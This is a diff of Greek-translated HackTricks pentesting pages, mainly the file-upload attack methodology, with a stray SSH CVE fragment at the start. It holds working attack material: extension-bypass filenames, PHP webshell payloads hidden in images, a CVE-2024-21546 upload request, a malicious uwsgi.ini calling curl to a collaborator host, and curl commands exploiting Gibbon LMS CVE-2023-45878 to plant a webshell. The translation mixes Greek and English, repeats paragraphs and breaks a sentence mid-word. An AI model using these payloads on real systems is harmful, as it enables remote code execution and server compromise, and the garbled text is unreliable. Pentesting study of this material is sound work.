* **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – αποδέχεται ένα μη αυθεντικοποιημένο `SSH_MSG_USERAUTH_SUCCESS` που στέλνεται από τον client, ουσιαστικά το αντίστροφο σφάλμα λογικής.
|
||||
|
||||
Το κοινό μάθημα είναι ότι οποιαδήποτε απόκλιση από τις μεταβάσεις κατάστασης που ορίζει το RFC μπορεί να είναι μοιραία· όταν αναθεωρείτε ή κάνετε fuzzing σε SSH daemons, δώστε ιδιαίτερη προσοχή στην *state-machine enforcement*.
|
||||
|
||||
|
||||
Το κοινό μάθημα είναι ότι οποιαδήποτε παρέκκλιση από τις μεταβάσεις κατάστασης που ορίζονται από το RFC μπορεί να είναι μοιραία. Όταν αναθεωρείτε ή fuzzing SSH daemons, δώστε ιδιαίτερη προσοχή στην *επιβολή μηχανής κατάστασης*.
|
||||
|
||||
## References
|
||||
|
||||
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||||
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
- [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
|
@ -1,13 +1,13 @@
|
||||
# Μεταφόρτωση Αρχείων
|
||||
# Ανέβασμα Αρχείων
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Γενική Μεθοδολογία Μεταφόρτωσης Αρχείων
|
||||
## Γενική Μεθοδολογία Ανέβασματος Αρχείων
|
||||
|
||||
Άλλες χρήσιμες επεκτάσεις:
|
||||
Other useful extensions:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Εργασία σε PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **Εργασία σε PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -15,13 +15,13 @@
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Παράκαμψη ελέγχων επεκτάσεων αρχείων
|
||||
### Bypass file extensions checks
|
||||
|
||||
1. Εάν ισχύουν, **ελέγξτε** τις **προηγούμενες επεκτάσεις.** Δοκιμάστε τις επίσης χρησιμοποιώντας μερικά **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Ελέγξτε **προσθήκη έγκυρης επέκτασης πριν** την επέκταση εκτέλεσης (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_
|
||||
1. Αν εφαρμόζεται, ελέγξτε τις προηγούμενες επεκτάσεις. Δοκιμάστε τις επίσης χρησιμοποιώντας μερικά κεφαλαία γράμματα: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Προσπαθήστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους χαρακτήρες **ascii** και **Unicode**. (_Σημείωση: μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερθείσες **επεκτάσεις**_)
|
||||
3. Προσπαθήστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε Burp για **bruteforce** όλων των χαρακτήρων **ascii** και **Unicode**. (_Σημείωση: μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερθείσες **επεκτάσεις**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Προσπαθήστε να παρακάμψετε τις προστασίες **ξεγελώντας τον parser επεκτάσεων** στην πλευρά του server με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη σκουπιδιών** (bytes **null**) ανάμεσα στις επεκτάσεις. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να προετοιμάσετε καλύτερο payload._
|
||||
4. Προσπαθήστε να παρακάμψετε τους ελέγχους **ξεγελώντας τον parser των επεκτάσεων** στην πλευρά του server με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη junk** δεδομένων (**null** bytes) ανάμεσα στις επεκτάσεις. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να φτιάξετε ένα καλύτερο payload._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,13 +40,13 @@
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Προσθέστε **ένα ακόμη επίπεδο επεκτάσεων** στο προηγούμενο έλεγχο:
|
||||
5. Προσθέστε **ακόμα ένα επίπεδο επεκτάσεων** στον προηγούμενο έλεγχο:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Δοκιμάστε να τοποθετήσετε την **επέκταση εκτέλεσης πριν την έγκυρη επέκταση** και ελπίζετε ότι ο διακομιστής είναι λανθασμένα διαμορφωμένος. (χρήσιμο για εκμετάλλευση λανθασμένων ρυθμίσεων Apache όπου οτιδήποτε με επέκταση .php — αλλά όχι απαραίτητα τελειώνοντας σε .php — θα εκτελεί κώδικα):
|
||||
6. Προσπαθήστε να βάλετε την **εκτελέσιμη επέκταση πριν την έγκυρη επέκταση** και ελπίζετε ότι ο server είναι λάθος ρυθμισμένος. (χρήσιμο για εκμετάλλευση misconfigurations σε Apache όπου οτιδήποτε με επέκταση **.php**, αλλά **όχι απαραίτητα τελειώνει σε .php**, θα εκτελέσει κώδικα):
|
||||
- _ex: file.php.png_
|
||||
7. Χρήση **NTFS alternate data stream (ADS)** σε **Windows**. Σε αυτή την περίπτωση, θα εισαχθεί χαρακτήρας ":" μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπτή. Ως αποτέλεσμα, θα δημιουργηθεί ένα **κενό αρχείο με την απαγορευμένη επέκταση** στον server (π.χ. "file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα με άλλες τεχνικές όπως η χρήση του short filename. Το "**::$data**” pattern μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη κενά αρχεία. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το pattern μπορεί επίσης να είναι χρήσιμη για παράκαμψη περαιτέρω περιορισμών (π.χ. "file.asp::$data.”)
|
||||
8. Προσπαθήστε να σπάσετε τα όρια μήκους ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
|
||||
7. Χρήση του **NTFS alternate data stream (ADS)** στα **Windows**. Σε αυτή την περίπτωση, θα εισαχθεί ο χαρακτήρας άνω τελείας ":" μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπτή. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον server (π.χ. "file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του short filename. Το μοτίβο "**::$data**” μπορεί επίσης να χρησιμοποιηθεί για να δημιουργήσει μη-κενά αρχεία. Συνεπώς, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για παράκαμψη επιπλέον περιορισμών (π.χ. "file.asp::$data.”)
|
||||
8. Προσπαθήστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
Κάποιοι handlers ανέβασματος περικόπτουν ή κανονικοποιούν τους τελικούς χαρακτήρες τελείας από το αποθηκευμένο όνομα αρχείου. Στο UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) σε εκδόσεις πριν την 2.9.1, μπορείτε να παρακάμψετε την επικύρωση επεκτάσεων με:
|
||||
Κάποιοι handlers ανέβασματος αφαιρούν ή κανονικοποιούν χαρακτήρες τελείας στο τέλος του ονόματος αρχείου που αποθηκεύεται. Στο UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) εκδόσεις πριν την 2.9.1, μπορείτε να παρακάμψετε τον έλεγχο επεκτάσεων ως εξής:
|
||||
|
||||
- Χρήση έγκυρου image MIME και magic header (π.χ. PNG’s `\x89PNG\r\n\x1a\n`).
|
||||
- Ονομάζοντας το ανεβασμένο αρχείο με επέκταση PHP ακολουθούμενη από τελεία, π.χ. `shell.php.`.
|
||||
- Ο server αφαιρεί την τελική τελεία και αποθηκεύει το `shell.php`, το οποίο θα εκτελεστεί αν τοποθετηθεί σε φάκελο που σερβίρεται από τον web server (προεπιλεγμένος public storage όπως `/storage/files/`).
|
||||
- Χρησιμοποιήστε ένα έγκυρο image MIME και magic header (π.χ. το PNG signature `\x89PNG\r\n\x1a\n`).
|
||||
- Ονομάστε το ανεβασμένο αρχείο με επέκταση PHP ακολουθούμενη από τελεία, π.χ. `shell.php.`.
|
||||
- Ο server αφαιρεί την τελική τελεία και αποθηκεύει `shell.php`, το οποίο θα εκτελεστεί εάν τοποθετηθεί σε έναν δημόσια σερβιρισμένο φάκελο (προεπιλεγμένος public storage όπως `/storage/files/`).
|
||||
|
||||
Ελάχιστο PoC (Burp Repeater):
|
||||
Minimal PoC (Burp Repeater):
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
@ -80,65 +80,66 @@ Content-Type: image/png
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
Στη συνέχεια προσπελάστε το αποθηκευμένο μονοπάτι (τυπικό σε Laravel + LFM):
|
||||
Στη συνέχεια, προσπελάστε την αποθηκευμένη διαδρομή (τυπική σε Laravel + LFM):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Mitigations:
|
||||
- Αναβαθμίστε το unisharp/laravel-filemanager σε ≥ 2.9.1.
|
||||
- Εφαρμόστε αυστηρές server-side allowlists και επικυρώστε ξανά το persisted filename.
|
||||
- Σερβίρετε τα uploads από μη-εκτελέσιμες τοποθεσίες.
|
||||
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
|
||||
- Επιβάλετε αυστηρές server-side allowlists και επαληθεύστε ξανά το persisted filename.
|
||||
- Serve uploads from non-executable locations.
|
||||
|
||||
### Παράκαμψη Content-Type, Magic Number, Compression & Resizing
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Παρακάμψτε τους ελέγχους **Content-Type** ορίζοντας την **τιμή** της **επικεφαλίδας** **Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_
|
||||
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Παρακάμψτε τον έλεγχο **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes ενός πραγματικού image** (να μπερδέψετε την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\
|
||||
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ή μπορείτε επίσης να **εισάγετε το payload απευθείας** σε μια εικόνα:\
|
||||
`\` or you could also **introduce the payload directly** in an image:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Αν **προστίθεται συμπίεση στην εικόνα σας**, για παράδειγμα χρησιμοποιώντας κάποιες standard PHP βιβλιοθήκες όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές μπορεί να μην είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που **επιβιώνει της συμπίεσης**.
|
||||
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Η web σελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε το **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που **επιβιώνει της συμπίεσης**.
|
||||
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Άλλη τεχνική για να φτιάξετε ένα payload που **επιβιώνει της αλλαγής μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Επίσης, μπορείτε να χρησιμοποιήσετε το **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που **επιβιώνει της συμπίεσης**.
|
||||
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Άλλα κόλπα για έλεγχο
|
||||
### Other Tricks to check
|
||||
|
||||
- Βρείτε ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση).
|
||||
- Βρείτε ευπάθεια **Local File Inclusion** για να εκτελέσετε το backdoor.
|
||||
- **Πιθανή αποκάλυψη πληροφοριών**:
|
||||
1. Κάντε upload **πολλές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα**
|
||||
- Βρείτε μια ευπάθεια που να επιτρέπει το **rename** του αρχείου που έχει ήδη ανέβει (για να αλλάξετε την extension).
|
||||
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
|
||||
- **Possible Information disclosure**:
|
||||
1. Ανεβάστε το **ίδιο αρχείο** **πολλές φορές** (και **ταυτόχρονα**) με το **ίδιο όνομα**
|
||||
2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
|
||||
3. Ανέβασμα αρχείου με **"." , "..", ή "..." ως όνομα**. Για παράδειγμα, σε Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στο "/www/uploads/" directory, το "." filename θα δημιουργήσει ένα αρχείο που ονομάζεται "uploads" στο "/www/" directory.
|
||||
4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **"…:.jpg”** σε **NTFS**. (Windows)
|
||||
3. Ανέβασμα αρχείου με **"." , "..", ή "…" ως όνομά του**. Για παράδειγμα, σε Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα uploaded αρχεία στο "/www/uploads/" directory, το όνομα αρχείου "." θα δημιουργήσει ένα αρχείο called
|
||||
uploads” in the "/www/" directory.
|
||||
4. Ανεβάστε ένα αρχείο που ενδέχεται να μην διαγραφεί εύκολα όπως **"…:.jpg"** σε **NTFS**. (Windows)
|
||||
5. Ανεβάστε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows)
|
||||
6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **reserved** (**forbidden**) **names** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
|
||||
- Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ανοίξει κατά λάθος από το θύμα.
|
||||
- Δοκιμάστε επίσης να **ανεβάσετε ένα executable** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ανοιχτεί κατά λάθος από το θύμα.
|
||||
|
||||
### Ειδικά κόλπα επεκτάσεων
|
||||
### Special extension tricks
|
||||
|
||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP server**, [ρίξτε μια ματιά στο **.htaccess** trick για εκτέλεση κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP server**, [ρίξτε μια ματιά στο **.config** trick για εκτέλεση κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Τα αρχεία `.phar` είναι σαν τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν σαν php αρχείο** (εκτέλεση με php, ή include μέσα σε ένα script...).
|
||||
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
|
||||
|
||||
Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για php αρχεία που είναι μόνο για **import files**, οπότε κάπου μπορεί να έχει επιτραπεί η **εκτέλεση αυτής της επέκτασης**.
|
||||
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Αν μπορείτε να ανεβάσετε ένα XML αρχείο σε έναν Jetty server μπορείτε να αποκτήσετε [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το XML αρχείο στο `$JETTY_BASE/webapps/` και περιμένετε το shell!
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Για λεπτομερή διερεύνηση αυτής της ευπάθειας δείτε την πρωτότυπη έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε uWSGI servers αν κάποιος έχει τη δυνατότητα να τροποποιήσει το `.ini` configuration file. Τα αρχεία ρυθμίσεων uWSGI χρησιμοποιούν μια συγκεκριμένη σύνταξη για να ενσωματώσουν "magic" variables, placeholders και operators. Σημειωτέον, ο operator '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει τα περιεχόμενα ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων schemes στο uWSGI, το scheme "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από το standard output μιας διεργασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα `.ini` configuration file υποβάλλεται σε επεξεργασία.
|
||||
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
|
||||
|
||||
Σκεφτείτε το ακόλουθο παράδειγμα ενός κακόβουλου `uwsgi.ini` αρχείου, που παρουσιάζει διάφορα schemes:
|
||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -156,14 +157,54 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Η εκτέλεση του payload συμβαίνει κατά τη διάρκεια της ανάλυσης του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από ένα crash ή λόγω μιας επίθεσης Denial of Service) είτε το αρχείο πρέπει να έχει οριστεί σε auto-reload. Η δυνατότητα auto-reload, αν είναι ενεργοποιημένη, ξαναφορτώνει το αρχείο σε καθορισμένα διαστήματα όταν ανιχνεύει αλλαγές.
|
||||
Η εκτέλεση του payload συμβαίνει κατά το parsing του αρχείου διαμόρφωσης. Για να ενεργοποιηθεί και να αναλυθεί η διαμόρφωση, η διαδικασία uWSGI πρέπει είτε να επανεκκινήσει (πιθανώς μετά από μια κατάρρευση ή λόγω ενός Denial of Service attack) είτε το αρχείο να ρυθμιστεί σε auto-reload. Η δυνατότητα auto-reload, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα όταν εντοπίζει αλλαγές.
|
||||
|
||||
Είναι κρίσιμο να κατανοήσετε τη χαλαρή φύση του parsing των αρχείων ρυθμίσεων του uWSGI. Συγκεκριμένα, το συζητούμενο payload μπορεί να εισαχθεί σε ένα binary αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο πιθανής εκμετάλλευσης.
|
||||
Είναι κρίσιμο να κατανοηθεί η χαλαρή φύση του parsing των αρχείων διαμόρφωσης του uWSGI. Συγκεκριμένα, το προαναφερθέν payload μπορεί να εισαχθεί σε ένα binary file (όπως ένα image ή PDF), διευρύνοντας περαιτέρω το πεδίο πιθανής εκμετάλλευσης.
|
||||
|
||||
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
|
||||
|
||||
Unauthenticated endpoint στο Gibbon LMS επιτρέπει arbitrary file write μέσα στο web root, οδηγώντας σε pre-auth RCE με την τοποθέτηση ενός PHP αρχείου. Ευάλωτες εκδόσεις: έως και 25.0.01.
|
||||
|
||||
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
|
||||
- Method: POST
|
||||
- Required params:
|
||||
- `img`: data-URI-like string: `[mime];[name],[base64]` (server ignores type/name, base64-decodes the tail)
|
||||
- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`)
|
||||
- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`)
|
||||
|
||||
Minimal PoC to write and read back a file:
|
||||
```bash
|
||||
# Prepare test payload
|
||||
printf '0xdf was here!' | base64
|
||||
# => MHhkZiB3YXMgaGVyZSEK
|
||||
|
||||
# Write poc.php via unauth POST
|
||||
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
|
||||
|
||||
# Verify write
|
||||
curl http://target/Gibbon-LMS/poc.php
|
||||
```
|
||||
Αποθέστε ένα ελάχιστο webshell και εκτελέστε commands:
|
||||
```bash
|
||||
# '<?php system($_GET["cmd"]); ?>' base64
|
||||
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
|
||||
|
||||
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
|
||||
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
|
||||
|
||||
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Ο handler εκτελεί `base64_decode($_POST["img"])` μετά το split με `;` και `,`, και στη συνέχεια γράφει bytes στο `$absolutePath . '/' . $_POST['path']` χωρίς να ελέγχει extension/type.
|
||||
- Ο προκύπτων κώδικας τρέχει ως ο χρήστης της web υπηρεσίας (π.χ., XAMPP Apache σε Windows).
|
||||
|
||||
Αναφορές για αυτό το bug περιλαμβάνουν το usd HeroLab advisory και την NVD entry. Δείτε την ενότητα References παρακάτω.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας server χρησιμοποιεί **`wget`** για να **κατεβάσει αρχεία** και μπορείτε να **υποδείξετε** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των ληφθέντων αρχείων βρίσκεται σε μια whitelist για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα κατέβουν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\
|
||||
Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, **wget** περικόπτει τα ονόματα αρχείων στα **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα θα **παρακάμψει** τον **έλεγχο** (όπως σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
|
||||
Σε κάποιες περιπτώσεις μπορεί να βρείτε ότι ένας server χρησιμοποιεί **`wget`** για να **download files** και μπορείτε να **indicate** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι το extension των κατεβαζόμενων αρχείων βρίσκεται σε μια whitelist για να διασφαλίσει ότι θα κατέβουν μόνο επιτρεπτά αρχεία. Ωστόσο, **this check can be bypassed.**\
|
||||
Το **maximum** μήκος ενός **filename** σε **linux** είναι **255**, ωστόσο, **wget** περικόπτει τα filenames σε **236** χαρακτήρες. Μπορείτε να **download a file called "A"*232+".php"+".gif"**, αυτό το filename θα **bypass** τον **check** (όπως σε αυτό το παράδειγμα **".gif"** είναι ένα **valid** extension) αλλά `wget` θα **rename** το αρχείο σε **"A"*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -186,35 +227,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
